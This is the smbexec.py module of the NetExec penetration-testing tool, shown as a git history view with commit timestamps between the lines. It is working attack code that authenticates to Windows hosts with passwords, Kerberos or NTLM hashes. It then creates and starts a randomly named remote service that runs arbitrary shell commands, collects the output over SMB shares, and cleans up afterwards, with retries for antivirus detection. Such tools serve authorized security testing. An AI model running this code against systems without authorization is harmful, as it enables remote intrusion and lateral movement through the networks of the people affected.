NetExec/nxc/protocols/smb/smbexec.py

230 lines
9.0 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
import os
2023-05-05 18:37:20 +00:00
from os.path import join as path_join
from time import sleep
2016-05-16 23:48:31 +00:00
from impacket.dcerpc.v5 import transport, scmr
from nxc.helpers.misc import gen_random_string
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
2016-05-16 23:48:31 +00:00
class SMBEXEC:
def __init__(self, host, share_name, smbconnection, protocol, username="", password="", domain="", doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
2016-05-16 23:48:31 +00:00
self.__host = host
2021-09-21 12:12:42 +00:00
self.__share_name = "C$"
self.__port = port
2016-05-16 23:48:31 +00:00
self.__username = username
self.__password = password
self.__serviceName = gen_random_string()
self.__domain = domain
2023-05-02 15:17:59 +00:00
self.__lmhash = ""
self.__nthash = ""
2016-05-16 23:48:31 +00:00
self.__share = share
2021-09-21 12:12:42 +00:00
self.__smbconnection = smbconnection
self.__output = None
self.__batchFile = None
2023-05-02 15:17:59 +00:00
self.__outputBuffer = b""
self.__shell = "%COMSPEC% /Q /c "
2016-05-16 23:48:31 +00:00
self.__retOutput = False
self.__rpctransport = None
self.__scmr = None
self.__conn = None
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__tries = tries
self.logger = logger
2016-05-16 23:48:31 +00:00
if hashes is not None:
2023-05-02 15:17:59 +00:00
# This checks to see if we didn't provide the LM Hash
if hashes.find(":") != -1:
self.__lmhash, self.__nthash = hashes.split(":")
2016-05-16 23:48:31 +00:00
else:
self.__nthash = hashes
if self.__password is None:
2023-05-02 15:17:59 +00:00
self.__password = ""
2016-05-16 23:48:31 +00:00
2023-09-24 04:06:51 +00:00
stringbinding = f"ncacn_np:{self.__host}[\\pipe\\svcctl]"
self.logger.debug(f"StringBinding {stringbinding}")
2016-05-16 23:48:31 +00:00
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.set_dport(self.__port)
2023-05-02 15:17:59 +00:00
if hasattr(self.__rpctransport, "setRemoteHost"):
self.__rpctransport.setRemoteHost(self.__host)
2023-05-02 15:17:59 +00:00
if hasattr(self.__rpctransport, "set_credentials"):
2016-05-16 23:48:31 +00:00
# This method exists only for selected protocol sequences.
2023-05-02 15:17:59 +00:00
self.__rpctransport.set_credentials(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
2016-05-16 23:48:31 +00:00
self.__scmr = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
self.__scmr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
2016-05-16 23:48:31 +00:00
self.__scmr.connect()
s = self.__rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
2023-05-02 15:17:59 +00:00
self.__scHandle = resp["lpScHandle"]
2016-05-16 23:48:31 +00:00
def execute(self, command, output=False):
self.__retOutput = output
if os.path.isfile(command):
with open(command) as commands:
for c in commands:
2021-09-21 12:12:42 +00:00
self.execute_remote(c.strip())
else:
2021-09-21 12:12:42 +00:00
self.execute_remote(command)
2016-05-16 23:48:31 +00:00
self.finish()
2022-04-26 13:58:03 +00:00
return self.__outputBuffer
2016-05-16 23:48:31 +00:00
def output_callback(self, data):
2020-04-22 15:04:22 +00:00
self.__outputBuffer += data
2016-05-16 23:48:31 +00:00
2021-09-21 12:12:42 +00:00
def execute_remote(self, data):
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + ".bat"
2021-09-21 12:12:42 +00:00
command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
2021-09-21 12:12:42 +00:00
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
2021-09-21 12:12:42 +00:00
batch_file.write(command)
self.logger.debug("Hosting batch file with command: " + command)
2021-09-21 12:12:42 +00:00
self.logger.debug("Command to execute: " + command)
2021-09-21 12:12:42 +00:00
self.logger.debug(f"Remote service {self.__serviceName} created.")
try:
resp = scmr.hRCreateServiceW(
self.__scmr,
self.__scHandle,
self.__serviceName,
self.__serviceName,
lpBinaryPathName=command,
dwStartType=scmr.SERVICE_DEMAND_START,
)
service = resp["lpServiceHandle"]
except Exception as e:
if "rpc_s_access_denied" in str(e):
self.logger.fail("SMBEXEC: Create services got blocked.")
else:
self.logger.fail(str(e))
return self.__outputBuffer
2021-09-21 12:12:42 +00:00
try:
self.logger.debug(f"Remote service {self.__serviceName} started.")
2021-09-21 12:12:42 +00:00
scmr.hRStartServiceW(self.__scmr, service)
self.logger.debug(f"Remote service {self.__serviceName} deleted.")
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
2023-10-15 17:31:51 +00:00
except Exception:
2023-05-02 15:17:59 +00:00
pass
2023-05-02 15:17:59 +00:00
self.get_output_remote()
return None
2021-09-21 12:12:42 +00:00
def get_output_remote(self):
if self.__retOutput is False:
2023-05-02 15:17:59 +00:00
self.__outputBuffer = ""
2021-09-21 12:12:42 +00:00
return
tries = 1
2021-09-21 12:12:42 +00:00
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
2023-05-08 18:39:36 +00:00
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
2021-09-21 12:12:42 +00:00
break
except Exception as e:
if tries >= self.__tries:
2023-09-22 03:42:54 +00:00
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
2023-09-22 03:42:54 +00:00
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
2023-09-13 22:29:55 +00:00
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
2021-09-21 12:12:42 +00:00
# Output not finished, let's wait
sleep(2)
tries += 1
2021-09-21 12:12:42 +00:00
else:
self.logger.debug(str(e))
if self.__outputBuffer:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
2021-09-21 12:12:42 +00:00
def execute_fileless(self, data):
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + ".bat"
local_ip = self.__rpctransport.get_socket().getsockname()[0]
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug("Hosting batch file with command: " + command)
2016-05-16 23:48:31 +00:00
2023-05-08 18:39:36 +00:00
command = self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}"
self.logger.debug("Command to execute: " + command)
self.logger.debug(f"Remote service {self.__serviceName} created.")
2023-05-02 15:17:59 +00:00
resp = scmr.hRCreateServiceW(
self.__scmr,
self.__scHandle,
self.__serviceName,
self.__serviceName,
lpBinaryPathName=command,
dwStartType=scmr.SERVICE_DEMAND_START,
)
service = resp["lpServiceHandle"]
2016-05-16 23:48:31 +00:00
try:
self.logger.debug(f"Remote service {self.__serviceName} started.")
scmr.hRStartServiceW(self.__scmr, service)
except Exception:
2023-05-02 15:17:59 +00:00
pass
self.logger.debug(f"Remote service {self.__serviceName} deleted.")
2016-05-16 23:48:31 +00:00
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output_fileless()
def get_output_fileless(self):
if not self.__retOutput:
return
while True:
try:
with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
self.output_callback(output.read())
break
2023-10-12 21:06:04 +00:00
except OSError:
sleep(2)
2016-05-16 23:48:31 +00:00
def finish(self):
# Just in case the service is still created
try:
2023-05-02 15:17:59 +00:00
self.__scmr = self.__rpctransport.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp["lpScHandle"]
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp["lpServiceHandle"]
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except Exception:
2016-05-16 23:48:31 +00:00
pass